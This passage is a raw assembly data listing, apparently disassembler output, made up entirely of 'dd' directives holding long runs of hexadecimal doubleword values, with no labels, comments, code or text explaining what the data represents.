		dd 7684A72h, 8F115Ah
		dd 5BDF31C9h, 0AC2F507Bh, 833DD92Dh, 7F2C7C13h,	0F4D4B410h
		dd 634BE02h, 0E4402A9Fh, 33244165h, 8302F66Ah, 43428B49h
		dd 91AE20FEh, 0DB14CAFAh, 3EAE112h, 474ED8C2h, 0AD824B29h
		dd 80E90C73h, 16235FB8h, 0B5592F44h, 51006A54h,	0FD64BD15h
		dd 7C7A2FE9h, 3D20435Ah, 0F236B689h, 2EBAE7CBh,	31780209h
		dd 0DABFC3CFh, 609EFFBEh, 1C6861FCh, 9E3A841Ch,	0DEB97F46h
		dd 0BAEAAF40h, 0F6451A58h, 1B2944Ah, 722ED905h,	0CDEC2E3Ah
		dd 3BD6F600h, 77890620h, 39BB5EE8h, 0A420AC20h,	38C8B022h
		dd 0D3D6C1Ah, 0D90A8D92h, 0D79142F4h, 0C9F798DDh, 57DE0049h
		dd 7974B958h, 0F895BCE8h, 0BD5503FBh, 95941B4h,	482BDCCh
		dd 614A7CC7h, 410BE2BEh, 6D06B9Ch, 0C133CBE9h, 4A4C95F3h
		dd 16896026h, 0BF6BD44h, 7B3B4219h, 7975A7C2h, 0EC1C47B8h
		dd 5D5ADB45h, 0B88080B9h, 7BC31A0Eh, 1ABDC5F4h,	0DFEC0C95h
		dd 5068125Eh, 0B4EDF973h, 0F50FBDAAh, 0FE6C94FBh, 530B76E3h
		dd 3F5A00Ah, 0E82EF9C6h, 0BAE0E914h, 0A3849737h, 93A7B953h
		dd 0C92DA791h, 6FE82001h, 0BB9712F3h, 1673652Dh, 1276B150h
		dd 0FF0F645Dh, 0F9295621h, 0A4EBC344h, 3FD5EA93h, 2683056Bh
		dd 0A0FF6CEEh, 2480034Ch, 7BA9370Bh, 95A101CAh,	0A83CECE7h
		dd 0D569DB94h, 6A4525E9h, 0ABA28DD7h, 0BCD447Bh, 783858DFh
		dd 3F013A29h, 0DA434B98h, 2DD2B060h, 5C65A327h,	0D4603405h
		dd 0FB8AA73h, 7C2CBEE4h, 0E3051358h, 5C591354h,	680F3A9Bh
		dd 211277A7h, 3AC72DCFh, 11FC7BC9h, 0AAB1322h, 0F861015Bh
		dd 317EDA09h, 7C63206Ch, 6C501D01h, 98E95243h, 5E0F2978h
		dd 0B804D029h, 0B211C8E6h, 6817D892h, 0A7E34D14h, 23C772Eh
		dd 579CE915h, 0A450C5A9h, 0DAECFB27h, 2B5E0EFEh, 0F2C03095h
		dd 1A575A41h, 4985E912h, 43C623FEh, 4DCD9400h, 0FB877572h
		dd 8706D04Fh, 927C8B1Eh, 0E088C521h, 184FD0C6h,	0ABD2FBA6h
		dd 18109BCBh, 0D34B7611h, 0C692C646h, 0FEED4BABh, 0BC525913h
		dd 13D9CFAh, 0E04740BFh, 0C27FC03Dh, 7141666Dh,	3AD428C2h
		dd 0B8FE8CABh, 2F951A0Ch, 0F85D26F9h, 9DE91556h, 0B501AD6Ah
		dd 0F6CDFE26h, 0EFA331DDh, 0CCFA884Ah, 1EB6828Eh, 96EE2D38h
		dd 0D5B920CCh, 0CA38409Dh, 2D66BD24h, 0ABF5F920h, 0C6D082E8h
		dd 0EE02497h, 30575244h, 9601BFD3h, 412A670Ah, 0DB522DB5h
		dd 89121A91h, 23DB1026h, 1E659B0Fh, 7DD30B97h, 0C93DEE4Bh
		dd 4B23B63Fh, 56346A32h, 5E5B0B2Eh, 0E3A868D5h,	5C2FFC06h
		dd 0F9D6423Fh, 0B7BB920Fh, 0ACC15B5Dh, 0CE077D71h, 53994002h
		dd 5482E8FCh, 5D09B220h, 0C20617Bh, 9522594Eh, 0D470093Ch
		dd 1193F0E0h, 65CCD727h, 0D47DEAFDh, 73615A4Ah,	403E105Dh
		dd 87755066h, 61862568h, 0F0C46146h, 0BB1788h, 0DE395ADAh
		dd 72DE95Dh, 977EF9F0h,	0CF3F8821h, 0EC580B40h,	0C9064F6Ah
		dd 0D48B00ACh, 61FFFBBBh, 43CB78C0h, 6D2D7C51h,	2DAEA20h
		dd 453D52B7h, 15F12711h, 0B7E95760h, 41ECB6F4h,	7A46B168h
		dd 0E9871AE6h, 0D7DCBBEFh, 51AA562h, 5983C05Ah,	777C236Bh
		dd 3B00DA4Ah, 8A6022BBh, 85D09D67h, 21351A0Fh, 0DF4052E9h
		dd 0F061BF57h, 5DE87B84h, 680049BDh, 4DA07B1Ch,	0E705815Fh
		dd 6F166091h, 435B82AFh, 0F275659h, 0B2BB929Dh,	0A7BE93AEh
		dd 193752BFh, 27ECD828h, 0CC48BB23h, 2C422A10h,	0B004591Ch
		dd 71BB8804h, 62C5F82h,	48230074h, 5C0560C3h, 25165E68h
		dd 144245E9h, 57CBEB80h, 0A10A548Fh, 5F22021Ah,	63F80337h
		dd 1C8C5495h, 0AE7385E9h, 80768546h, 52609453h,	0F509197Eh
		dd 87277CABh, 75E1ED22h, 18837468h, 12D61756h, 78470C01h
		dd 0A7E94F7Eh, 0A82F0825h, 0EF82E508h, 82BB005Ah, 2158866Eh
		dd 0E731CA6h, 0DF103812h, 53E006E7h, 90C7569h, 0DF676F0h
		dd 9D234840h, 0AE450DDEh, 90AA3716h, 186CCB67h,	417B462Ch
		dd 13ABB712h, 89F0E61Bh, 4B27FDBEh, 8F2B72C7h, 2D07E7D3h
		dd 688740DFh, 40E012FEh, 96B20052h, 5115F280h, 0C1EC98B1h
		dd 0CBF3AF1h, 61060939h, 4D67E913h, 61ACF822h, 0F16B620Fh
		dd 154BE194h, 57D500BAh, 0E97D1279h, 55AF5127h,	0C34A1534h
		dd 0F888A481h, 4F912A60h, 0C5A4E8CCh, 33A7098Dh, 288B654Ch
		dd 0C3338EE8h, 79006982h, 609C7CF2h, 1E5C53B0h,	21027EBCh
		dd 4051A15Eh, 27C1F296h, 81F50755h, 73D0C675h, 2514EB2Ah
		dd 1CBE7DFEh, 1E401DBFh, 190B665Fh, 0E361FCA5h,	55B12EB9h
		dd 0B290400Bh, 6B1E4F44h, 0EA14CA01h, 0CF85B08h, 3725E417h
		dd 8A7482AFh, 5EBAEDA0h, 65F5401h, 8116D5E2h, 0A6C7EBEEh
		dd 6BA84DB5h, 0C9F65F25h, 8688D39Fh, 6020044Fh,	129F06B5h
		dd 0CACE0E3Fh, 0C105B073h, 97BB09E6h, 7B04D58h,	529C4227h
		dd 57799779h, 80920C65h, 0FCCAEC5Ch, 1F9ED3h, 0A92697B8h
		dd 0D83DF740h, 59D56250h, 0E7F1575Eh, 0A3BA53Ch, 53133FFFh
		dd 841064E3h, 0CE011ADDh, 3F7455EEh, 0F117A22Ch, 0F72951C3h
		dd 0C5CFB98Ah, 5FF34909h, 4512FF5Fh, 0EA7025B8h, 0E6D5B3Ch
		dd 137F555Fh, 0BF1D203Ah, 0A03A431h, 157B252Dh,	0E9C00B0Eh
		dd 0E522D9EBh, 0BA7F1253h, 31F61079h, 69F62637h, 71CF1699h
		dd 15E43B21h, 5188D0FEh, 0E15E15FCh, 0C65C00FAh, 32C07A2Ah
		dd 54A9E93Ch, 5670F88Bh, 5141F4B5h, 4DB32BD0h, 0FECF6C09h
		dd 3E09FB5Dh, 9DAAA22Eh, 0A1389796h, 9A72B3Dh, 0BA0DCD12h
		dd 0EA2D60DAh, 0A294CCB4h, 0B1470149h, 0B87EFEF9h, 0CEF4B7EDh
		dd 2020DEACh, 0C161D2A0h, 0A8E6D382h, 720C04C4h, 80474AADh
		dd 851D4381h, 0D7014002h, 0CA4C15E9h, 0BE107DE8h, 54BE4EAFh
		dd 0FE455752h, 0F98D1489h, 51C6436h, 4CCD53E3h,	16A8357Eh
		dd 6957EA85h, 2DC332AEh, 34B8AA68h, 3F0C141Eh, 9044FB89h
		dd 2FE7E28Ch, 1CD4FCFDh, 7FD2531Fh, 2EBE6052h, 0A9F24F38h
		dd 0B8D7F017h, 7D598B4Ch, 68137A4Ch, 51AD1E6Eh,	0D0E9BCA5h
		dd 544604B2h, 5BB5D07h,	0C2554AF2h, 0F154340Ch,	0B28C62h
		dd 0C9105605h, 2E25CA58h, 1A001B58h, 0E92F6655h, 92E92E2h
		dd 3963DEB9h, 1C2CEADCh, 0C10360Ch, 22370549h, 10CB2969h
		dd 0EF4008F6h, 44BAA171h, 3CF19740h, 424E2602h,	3F7C0792h
		dd 2C32CCCCh, 6A733813h, 86350AFh, 0B0595A12h, 0D741CCEAh
		dd 68A01E81h, 0DF436BA7h, 5719FF0h, 0F7E9460Ch,	9DEF2547h
		dd 5AA48255h, 416A7531h, 0BBE51E57h, 59CF09D4h,	273FFB59h
		dd 124FEC36h, 8DECFEE9h, 93D52CC9h, 0F75ABFE8h,	17E9C2E1h
		dd 28E6DD34h, 792F3ABEh, 0C5CE162Eh, 0BBD9126Ah, 0F98993B7h
		dd 785C0741h, 2F68A070h, 0D5189D3Ch, 0C2838E11h, 255AF9E3h
		dd 765DF8EAh, 45955C0Eh, 45DDA755h, 18F7AD6Fh, 5659CB44h
		dd 0BA4F6B52h, 95ED598h, 0FEEAA0E9h, 242E655Fh,	3F5009EDh
		dd 0DD639ADFh, 0EF311DC8h, 2DEB5D4Ah, 2BEDD979h, 9B03EEB5h
		dd 5D4234BCh, 0AC1E82D7h, 88CF8100h, 0C0235E59h, 6F48B3F8h
		dd 0DF899B25h, 38B9E380h, 0E9164194h, 96B4FA3Dh, 0BCD4972Dh
		dd 68048623h, 30BA441Eh, 0A1EA5328h, 0FEB8785Fh, 0C68CEBB5h
		dd 22182568h, 574EB0ECh, 0B2738A2h, 68815A51h, 1B87670Ah
		dd 0F25B4192h, 0CAA3C49Ah, 34A8FC17h, 0DFE00847h, 0C62200C4h
		dd 0E9DF311Eh, 31B7818Ah, 8C6F9246h, 629054AEh,	0C820FCB6h
		dd 59070236h, 6F68250Ch, 0F58612DDh, 0ED3A87E1h, 9DE02E09h
		dd 39174BAFh, 20A86BB3h
		dd 50620A4h, 0B404437Fh, 40E5E902h, 8F3E41FBh, 0ED29045Ah
		dd 5B46BE23h, 44CC2EFFh, 191947CBh, 0C0D839AAh,	5B9F492Ah
		dd 51F550E2h, 0C313E2D2h, 14C2020Bh, 6513DF5Ch,	23D268C8h
		dd 0F1DDA6B7h, 89C104F3h, 0BF63A612h, 841A7ECh,	90ABD13Eh
		dd 9505049Fh, 38FAB568h, 6E6BF79h, 0E958B709h, 2D7DC1A8h
		dd 10A4B93Bh, 644C8E39h, 7048B410h, 2DFCF84Ah, 2842BF8Bh
		dd 17256D75h, 360AB05Bh, 9193CC6Bh, 2C32FE6h, 6394C29Bh
		dd 7FE034E5h, 0A878147Bh, 0F8B58AB2h, 18AD5A1Eh, 3AA54C8Dh
		dd 9596CEBDh, 0DFA59AF9h, 2C922E61h, 0C1EF4A16h, 24C530B2h
		dd 245A7CB6h, 6E692CEBh, 31D74A1Fh, 22F36C97h, 0C999E90Ah
		dd 0C4CB82E5h, 24427A72h, 0CD249DE2h, 0E3C6C488h, 50660972h
		dd 32100630h, 0FC0DD606h, 6049375h, 0AC57499Ah,	5CACF4C6h
		dd 68F9F7C0h, 0B924936h, 0D4517D25h, 40EECF84h,	5D96113h
		dd 0DF6A7238h, 2243C916h, 0B5FD6852h, 0BE3E6DCDh, 0B43E582Ch
		dd 0AE5D130Ah, 0ECD8FE0h, 12BC3C38h, 8892C5C1h,	6EAC2029h
		dd 514B5254h, 21091098h, 8072555Bh, 0AAA4DFEEh,	485D908Dh
		dd 0F2855528h, 0C5B140E6h, 61587555h, 10E5D133h, 8A0EA179h
		dd 4A1E1630h, 58928EFBh, 0CBBAE591h, 166E128Ah,	0B7038A2Dh
		dd 0D028C0B2h, 934526E9h, 654F400Eh, 89281149h,	81979CF7h
		dd 123768B9h, 965BF5C2h, 0CA1BE9A5h, 136AA321h,	59B3BE5Bh
		dd 0AAAEE9C2h, 7A81E675h, 0E6FE5BECh, 0E5B6104Eh, 38A4BD03h
		dd 0C8D22666h, 79B91E68h, 887FDB17h, 0E05AFB0h,	5AE11B10h
		dd 847A9DA2h, 2DC81660h, 0BAD07A3h, 0BED55911h,	84D395D1h
		dd 0BD97E0ADh, 0CC470001h, 87F1B940h, 799F8038h, 0F6093AC8h
		dd 7051FED5h, 7DEA49C2h, 107D25BAh, 82E37B24h, 0B8083385h
		dd 0F830172Dh, 15418D90h, 55380192h, 2C46BEBDh,	64FA2B9Dh
		dd 4AC5ABF9h, 4F59170Dh, 0C5101E2Dh, 0E06800FCh, 5D7EDF6Ch
		dd 41E8B045h, 0DDA13185h, 0A6167B74h, 7291CDFFh, 264B16B7h
		dd 18DC6CE5h, 4B727B34h, 0BC721375h, 2B9C5FB5h,	0A6465F88h
		dd 6CBD113Fh, 92E1F67Fh, 31FEB7AFh, 2CEF5EC4h, 0C6419A14h
		dd 124DED3Eh, 0E5B4DDA1h, 5090971Ch, 0C679499Ch, 7A52D05h
		dd 0DCC2D303h, 97425AA9h, 0F63308D4h, 0EEC112F4h, 0CB29AA5Dh
		dd 2F28FD2Eh, 0F0325FB6h, 0F060740h, 52225427h,	0E8706B6h
		dd 50312DA0h, 7B0FE6F2h, 0EE651C09h, 0D33883F6h, 82180B1Eh
		dd 0E3588E6Eh, 88F53B0Dh, 204BFDB7h, 4E6E9740h,	2DF7A34Dh
		dd 0BAA7C0F1h, 9B5A133Ch, 24BE929h, 8C2396CAh, 8743C146h
		dd 0F17A9737h, 0A44C6C68h, 8B532A09h, 0CC94F782h, 680005F1h
		dd 730E4C55h, 0F1212C5Eh, 0D2642D07h, 2D3BAD20h, 0AFDEEB81h
		dd 909A58AFh, 34C82086h, 22D3282Fh, 5DC973Ah, 5C840466h
		dd 66C3AA23h, 18085BEBh, 2CCA1C25h, 557F4F7Dh, 56D7BD1Fh
		dd 30FF09DFh, 0D4F2205Dh, 78E93B1Fh, 0DC8A4Fh, 0AB35D8F7h
		dd 5CB1B28Eh, 1918AE89h, 81DF1D03h, 2260E71Ch, 0D35301DFh
		dd 0E35A89ABh, 63EAB19Ah, 0C1E7E07Fh, 2B067CEDh, 3EBD1B12h
		dd 801CDB20h, 0C3CFB1E3h, 62E66BBAh, 0B9516072h, 4B4EBFFEh
		dd 0B6EB780h, 680FA209h, 0E130FDF1h, 0DF824264h, 47B118E0h
		dd 1A943Bh, 803C78E1h, 544DE94Ah, 9F2DCBDh, 1C113246h
		dd 0D581A9FFh, 5097264Fh, 25AC4431h, 93D9EA05h,	1350AD2Bh
		dd 0A8F356B5h, 0E953C27Fh, 0EEA53028h, 5ACEF3EBh, 412172A0h
		dd 0C543209Ch, 0F2FFD4Dh, 0E55892D0h, 63CCD949h, 4B682747h
		dd 55648CFCh, 56A12EC7h, 0FDE83DAEh, 0D84117E9h, 8475BCFEh
		dd 75FE9663h, 30B9B195h, 7995324Eh, 0BDF4492Ah,	0C29EF6CBh
		dd 5D06B8A8h, 0B603F219h, 6C680429h, 0A48CB97Bh, 566D3980h
		dd 0EA2B4AE5h, 0FCE91303h, 93E2D27h, 6841C95Eh,	653E73BEh
		dd 0A7E804D5h, 0CCFE00FAh, 9F8EF480h, 0F11051DCh, 4801BC4Eh
		dd 289724CDh, 60AB6885h, 0FC90C45Dh, 5C5A017Dh,	0CF891445h
		dd 0AA8C4159h, 44AD21A3h, 4A9CB906h, 571224ECh,	0CFF24EEFh
		dd 664211E9h, 0C2900AF0h, 1B213E09h, 85067D31h,	620BF5D1h
		dd 0D83A4368h, 0CB293093h, 1EF8F368h, 0C6B5A30h, 401220E5h
		dd 7F2DDA23h, 1D55E3Fh,	0FA68575Bh, 0C7DC685Dh,	0A371F32h
		dd 81A4758Bh, 41CE8707h, 6D0D2E4Fh, 0CAAE8A17h,	0B9014593h
		dd 705A0C4Ch, 0BD8501F0h, 0D2F42B29h, 0D04438A4h, 238372D5h
		dd 0FB0A4AB7h, 342AF39h, 0B96600E7h, 0BBE97186h, 3959A6E4h
		dd 72BC307h, 4D5B68E1h,	0C0A35F2Eh, 0E9280DB8h,	0AC9CABD6h
		dd 67815945h, 0F1D75E51h, 1C925511h, 1908FA5Bh,	5B86A8F7h
		dd 0C534D1D1h, 0D501014Eh, 0AEA06041h, 66B01480h, 0C330EAB3h
		dd 4C4570B5h, 845FEBF0h, 0DAAEE00Dh, 0F6E8334Ah, 0BD7544C1h
		dd 4143006h, 0D22D502Fh, 9CE9155Eh, 0F32F9AC2h,	24BF15DEh
		dd 892FADD8h, 0DD180986h, 68044EF3h, 0E6AB49C2h, 13D2469Bh
		dd 71FA4BEAh, 0D1B15177h, 0C0182088h, 0E908EB04h, 7BE4456Dh
		dd 0D9872405h, 8108339Eh, 4F9AE0D7h, 0DE970103h, 65FFC960h
		dd 0F8542FC4h, 2DF1D2E4h, 7CC3A62Eh, 0F58A2931h, 0FBC8CCF7h
		dd 0D4574A82h, 630BBADBh, 4094228h, 0FDEF19A8h,	7FFD4A5Ch
		dd 5FBEE9A0h, 9AD6899h,	0FDE25D04h, 20971C57h, 2D4A92B3h
		dd 0F86E10BAh, 0C448D28Bh, 0FE1E1BC2h, 0F3D8FB7Dh, 54D468D1h
		dd 4B83E41h, 4D876318h,	0CD9AC050h, 624E4A0Ch, 409C56AEh
		dd 0FA2D2566h, 3F27E913h, 62BC4ACFh, 6CF0F5DBh,	384E5D7Eh
		dd 5F050882h, 8198DE50h, 0F52DD825h, 42E9EB01h,	21933A6Bh
		dd 35AADCB7h, 9382088Bh, 359AB801h, 0C3EB1253h,	0C01403BEh
		dd 0C18008E1h, 18F132CFh, 0BC9425Fh, 5D3987BAh,	0B299707Bh
		dd 47E305B0h, 0C0295298h, 0DABD55A2h, 627C6712h, 0B6029D06h
		dd 0FAB882CBh, 0E3F6044Ch, 0A142CF04h, 91C72045h, 98F2965Fh
		dd 665D0993h, 0E97805DCh, 6A49BD8Ch, 0A5706C02h, 5A0F17E4h
		dd 844988AFh, 3437B54Dh, 35FC0B7Fh, 0E903EBB0h,	8CCAEAE3h
		dd 75BE0955h, 6817AED8h, 0FACC138Eh, 0E96D5AB6h, 8443D078h
		dd 3DF30168h, 8956581Eh, 475F7174h, 0E945305Ah,	0B9443C7h
		dd 0A56C054Fh, 0DABB0840h, 380AE350h, 28CCB81h,	0DE0C3D65h
		dd 55D5613h, 0A710F4BAh, 0DDBC7D5Eh, 0EC9136C2h, 0A117EF82h
		dd 13CC70Bh, 7A262C05h,	5CE13F4Ch, 525E0700h, 0D592768h
		dd 6D098EE6h, 6C0B235Ch, 1E61BF30h, 0A2AC2C54h,	0B4B82114h
		dd 5CE66BFEh, 0C4EE1296h, 9A7FC3ADh, 466E6A80h,	19E62890h
		dd 0E955C22Dh, 98EF054Fh, 0F41192A7h, 5EF33931h, 99E9DD84h
		dd 0C305F89Ah, 0E1305A89h, 8150A28Ah, 0CB5F387Ah, 0AB5C1D90h
		dd 0FD2E25E2h, 25D5192h, 387488h, 8851C3FEh, 0D1F6D913h
		dd 7597A51Fh, 7B947BC5h, 0E28B45FBh, 0CF7390D4h, 9B2C17DBh
		dd 214AC6Dh, 87FD5B03h,	0C36F167Ah, 0B8CEC541h,	0CE01128Ch
		dd 3EE7CDAAh, 0E916F8CAh, 2A17E190h, 0EB4664AAh, 979893B4h
		dd 0BFC68024h, 6AAD056h, 1BDB239Ch, 98E0ED3Bh, 0F20C5682h
		dd 0F88A0435h, 0EF615FE9h, 60D78E28h, 2D58D8B3h, 282779D9h
		dd 20495E1Dh, 643F9E07h, 584FF5Fh, 0EB2F9599h, 98B8D016h
		dd 9368551Ch, 0A4DFED6Ch, 58CD08EFh, 6816ED81h,	0FE2E533Bh
		dd 25082410h, 4EA2605Ah, 142F480Dh, 1E83D113h, 526BF97Ch
		dd 0B10F44D8h, 0A4AAD0F2h, 77AAE182h, 30F289B9h, 56FBA725h
		dd 0F01BC0FDh, 5ABDCC0Dh
		dd 0F3C305F8h, 0F5579268h, 520804FAh, 0DD9BEA82h, 6B62083Fh
		dd 50006786h, 3DBCB551h, 0D4A5EC88h, 0DD680E01h, 0C09A6C01h
		dd 67F571DEh, 0F95A20E9h, 970BE82Ah, 80031838h,	54B0DEFCh
		dd 18E3CDAAh, 2111E8F9h, 8D0FD63Fh, 40B1553Eh, 2BBC37B7h
		dd 5FE60036h, 0FBB75D4h, 2FD20382h, 5BC1CC07h, 58066EFh
		dd 2EBB1F17h, 817F4158h, 1726FC7h, 8FC268F5h, 83C0A01Ch
		dd 240F5EC1h, 1767DAB7h, 37D3003Eh, 526059DEh, 3CBDBE04h
		dd 0C6823651h, 3F8900Ch, 0F87D00B6h, 2E9A4179h,	0CB2EAA62h
		dd 0E4044961h, 0FE80B2A1h, 25B429E2h, 227033A3h, 3BC0430Ah
		dd 150024E8h, 66F5D617h, 72B6002Eh, 8B7CC7Ch, 66E8C0Fh
		dd 5A89CA25h, 0C101E920h, 4533BB50h, 0CF8D18Bh,	0E3CCC337h
		dd 0A09D0B8h, 5ECAC0DBh, 0D4BA01A5h, 0F01F3B16h, 56BC64FEh
		dd 3D850F0Eh, 0CCE95260h, 43232C03h, 4B9839B5h,	0E80007F8h
		dd 2E96D97Ah, 33EF30h, 4A14D18Dh, 24B21746h, 0F3251E00h
		dd 0E0D02335h, 3D7C8Fh,	2F276456h, 0CD2631EEh, 46504E01h
		dd 5965B27Bh, 0FD00044Fh, 0DBD6D4B5h, 18C062C8h, 0CC6FAC4Dh
		dd 42C20067h, 12595FD8h, 0BF00F856h, 0C40EDBF5h, 324CA57Dh
		dd 5E2965E6h, 88F71610h, 0ED88C3FAh, 86A8963h, 0E6FC4480h
		dd 626D2284h, 0EFBC0644h, 73DCE8h, 928B38C1h, 0C6C0CB52h
		dd 0F7636813h, 1136BB00h, 0FA2BD95h, 8BA36F6Dh,	0E599D860h
		dd 451CFC52h, 0A04E6EA9h, 0FB009F31h, 992EC55Ch, 0B6E000BFh
		dd 3FFEDFCCh, 0CE00ACBDh, 488C95D8h, 0CF5DE7h, 0F2C1518Ah
		dd 38DBD2AEh, 810CFB3Fh, 71CE9A3Bh, 0B2C0D48Eh,	0A03A0740h
		dd 8A86E6h, 6B275C42h, 129EE901h, 0F8DE615Bh, 3DAE70h
		dd 685EAD5Fh, 6E1DA4DCh, 48D59537h, 8A22012Fh, 0B8B0D906h
		dd 0FB7B2A76h, 9EEF9139h, 6D940417h, 928F00D8h,	2BB4EE94h
		dd 42B801A7h, 91FC77FBh, 0B9E3F893h, 0B200A9F8h, 0FF234445h
		dd 0E9EBB7h, 0C02091A6h, 24B49D0Ah, 0EAB86E00h,	0B2424D55h
		dd 3E9701D2h, 76FC2E32h, 78A0E0C6h, 0C7ADA400h,	7EE09844h
		dd 0EF3C00F3h, 7BF5927Fh, 9000BC70h, 7568DC54h,	0F423AF2Fh
		dd 0D6C100CBh, 6FC8F338h, 98011B4Dh, 3BDAA73Eh,	0BC412467h
		dd 0ACC861E5h, 659018Eh, 0DA2D7205h, 0D7846E68h, 86758400h
		dd 38D9BAh, 603136E9h, 3C8F4B80h, 3419B467h, 10E8E480h
		dd 0F67900C7h, 9C61C29Bh, 2F003F0Ch, 5398762Bh,	90F4A2E4h
		dd 23740074h, 8F3EA013h, 90005021h, 72632E7Fh, 1BC624h
		dd 321F973Bh, 8E95889Fh, 9CD70C00h, 46B4A326h, 9760EFEh
		dd 0CE609192h, 16A79D7Ch, 2ED12803h, 0A8C760B3h, 0D0523Ah
		dd 0F498BCCDh, 0C1BA5AB4h, 9B64CF00h, 0F57EBFB1h, 66E88Ch
		dd 0A4CA3FC4h, 0B67A4998h, 228FFE09h, 77C82339h, 973AF01Dh
		dd 0F91E0621h, 41B040ACh, 0F2DD2D07h, 0B4D3922Fh, 251099B2h
		dd 204C20h, 3ACDE066h, 293B1894h, 2EB47A00h, 387F63C2h
		dd 0FDECC3h, 742F4489h,	5BB2E86Ch, 7E989300h, 9F20A55Eh
		dd 2ECB033Eh, 0F0A235BBh, 0EEE019B2h, 5D00247Bh, 2621399Ah
		dd 0EEF7E3h, 2DC4F23Fh,	0F475B06Ch, 0A67BE800h,	2EC26BBEh
		dd 0DA5F0792h, 70CCBA60h, 112A6331h, 30AE8D00h,	8A975D2Bh
		dd 0DB0700C9h, 0D6ECCC42h, 95002D18h, 6F1D4582h, 1E626FFh
		dd 0EE24DE27h, 0FC2E5DE4h, 3A01C213h, 0FA8A961Eh, 4320F43Bh
		dd 0A40900C9h, 1F5499EFh, 401FE1F2h, 0A680E7FBh, 9AB6349h
		dd 18A0074Ch, 90030E6Fh, 0CCB9DBA9h, 0C426200h,	0C1215AF0h
		dd 8DEE00D8h, 0DD48E088h, 0F60E7B90h, 9403C7F5h, 25400CCh
		dd 6F1EBE73h, 0EFF20001h, 52838EDFh, 0FFB0A603h, 1FC0774Ah
		dd 58AE35E8h, 46009E2Dh, 9FE694C3h, 32006917h, 5C2E2AB1h
		dd 4876C8BDh, 93082029h, 0FB03A780h, 90332C52h,	35196Fh
		dd 4994E883h, 0C82868CFh, 0BC7AC300h, 4D8D08B9h, 325A189Eh
		dd 5ECCFA88h, 1F12C00h,	62236A90h, 0ABA6002Bh, 42BDB602h
		dd 2C5C7D7Eh, 242E3E66h, 0FA1034A4h, 0D752300h,	0AE9536C0h
		dd 0E300B2FEh, 98FC7E68h, 2832075Ah, 77E49F6Ch,	0B83D0094h
		dd 2AA6188Dh, 28009C67h, 19C03C05h, 2637EB52h, 964FAAh
		dd 881F34AFh, 800433BEh, 755053ABh, 89808CC7h, 5C9C0D2Fh
		dd 0A4180AF5h, 2D733A8Eh, 2473C00h, 5F15CC38h, 0C140F2Ch
		dd 0AFE05C87h, 0E8C6FD24h, 62C90F1Eh, 0B82B8540h, 87A767h
		dd 11F55EBEh, 75974977h, 0E140FA00h, 7FB68C37h,	82540013h
		dd 774362C4h, 63FA3A87h, 0D0006C90h, 51345AECh,	27EA64h
		dd 2022BBA4h, 658DF8Fh,	0F141000h, 0E8888323h, 7AF60FB7h
		dd 7669378Dh, 0A7C77400h, 0E779656Bh, 678D895h,	28829FB2h
		dd 0A8032074h, 67F79D9Bh, 0E0CB90D0h, 6018C175h, 0D04BEE23h
		dd 0CC039C90h, 941F1C0Bh, 0BE85E009h, 9B7F80h, 0BB25AD76h
		dd 89A0DE49h, 5817CF4Ch, 950D0E8Ch, 1ADC00CEh, 3E87BA9Ch
		dd 24582C04h, 0E6230B07h, 1E7E1D4h, 56DE301Ah, 725E405Ch
		dd 0CA8C7003h, 0C38522D8h, 960C85F2h, 0E110DBh,	0A11A88A3h
		dd 991983B1h, 958AF003h, 0D8588407h, 7C66811Dh,	268E00AEh
		dd 899A116Fh, 8300900Ah, 0EF39C457h, 0FF30475h,	8C1FD3C3h
		dd 7F62E862h, 6334A040h, 0FDDE5300h, 4F9061CEh,	0D06E5CBFh
		dd 5D066400h, 725FD6FBh, 0D5495E03h, 2C96CD4Eh,	662C4h
		dd 0D2C937BEh, 8D02CA51h, 0D7685D3Ch, 73A04027h, 0B2071EA0h
		dd 0AE8A430Bh, 18002BCFh, 0DC1F6299h, 164A97B9h, 2ABFC05h
		dd 476DC2C4h, 8B0D78C8h, 0F9104526h, 0D63BC000h, 174D86h
		dd 0F5ACE6FFh, 0FB2C294Fh, 0E3098102h, 0E05D024Bh, 0CDC990h
		dd 0E72FBF82h, 0B40539F8h, 0C3EA1B00h, 2AC2844Ah, 3BF638E5h
		dd 6F737B0Fh, 59C2500h,	0D50057C6h, 79EA985Dh, 0B1E3170h
		dd 0ECF3D43Eh, 6B38FD00h, 564DE618h, 3CCB03B8h,	0B047C398h
		dd 58E98528h, 1D0304C0h, 787B8720h, 60D61698h, 9A4C6890h
		dd 223280D4h, 1F12BB01h, 5A214DAh, 800F8D3Fh, 315EE7CCh
		dd 1CF0182Ch, 4DA5A701h, 60DCAEC8h, 3AA00E6Ch, 49612DFDh
		dd 0C1BABF77h, 0A14030CCh, 7361E304h, 709039DFh, 2663D9h
		dd 8B2F2CB1h, 66B2AE3Ch, 5842D500h, 0DA2462ECh,	387B07D2h
		dd 1FF2D1A3h, 49865A02h, 0C43EE560h, 626CA800h,	9B30D6E6h
		dd 46FECC6h, 0D9BFD7C7h, 9A8B80CEh, 80018220h, 0C2034050h
		dd 91F4B1C5h, 5AB90014h, 6E8475F4h, 345C5079h, 0AD101304h
		dd 4A687D18h, 2E1F3AEEh, 0CFB81880h, 2F5C85A4h,	0ED52BF01h
		dd 51FFC230h, 7DCB16FCh, 0E0A488h, 3AD5D608h, 0C78318A9h
		dd 0DB311E02h, 806291DAh, 5552CFB4h, 0EBF400AEh, 0BB827966h
		dd 0D14CBC38h, 0F9A31F74h, 85736800h, 53EE284h,	0E6AA2BF7h
		dd 0DD64D0D1h, 0AD00E3F5h, 8D962AF8h, 90D6F282h, 0ED720048h
		dd 40B676BBh, 4400C19Ah, 0E9CB2560h, 5CDE7429h,	5D006A5Ah
		dd 0B840B241h, 0D87AA3F0h, 0B7616412h, 58462000h, 7199ECEh
		dd 8454BDFBh, 0D80A6057h, 22004C82h, 0FF36835Dh, 0B87064A4h
		dd 4BF20298h, 45924D30h, 32109C40h, 0B4D73501h,	140BB87Fh
		dd 8DB8020h, 5B8255A4h,	2CD4900h, 67AF3Fh, 337EB979h, 0CA426A9Ch
		dd 0AA020373h, 81BB7765h, 0AB96C0FAh, 851B00A5h, 0DD55D744h
		dd 0F0F86B19h, 0A69EAA30h, 0C1FC6C73h, 6697EBC0h, 0CF20C4B0h
		dd 1BB68212h, 89E4040h,	2ED5415h, 7943AC35h, 8CE81D5Fh
		dd 0F9129B98h
		dd 0EC40961Ah, 0BCB6ED28h, 93C01D43h, 8A36817Eh, 80D1142Eh
		dd 91A47020h, 0EC20CA59h, 0E2822EFEh, 6F780688h, 27008803h
		dd 0C55DA00Bh, 0E3202Eh, 0FF2BB15Eh, 25ED414Ch,	60CA3B00h
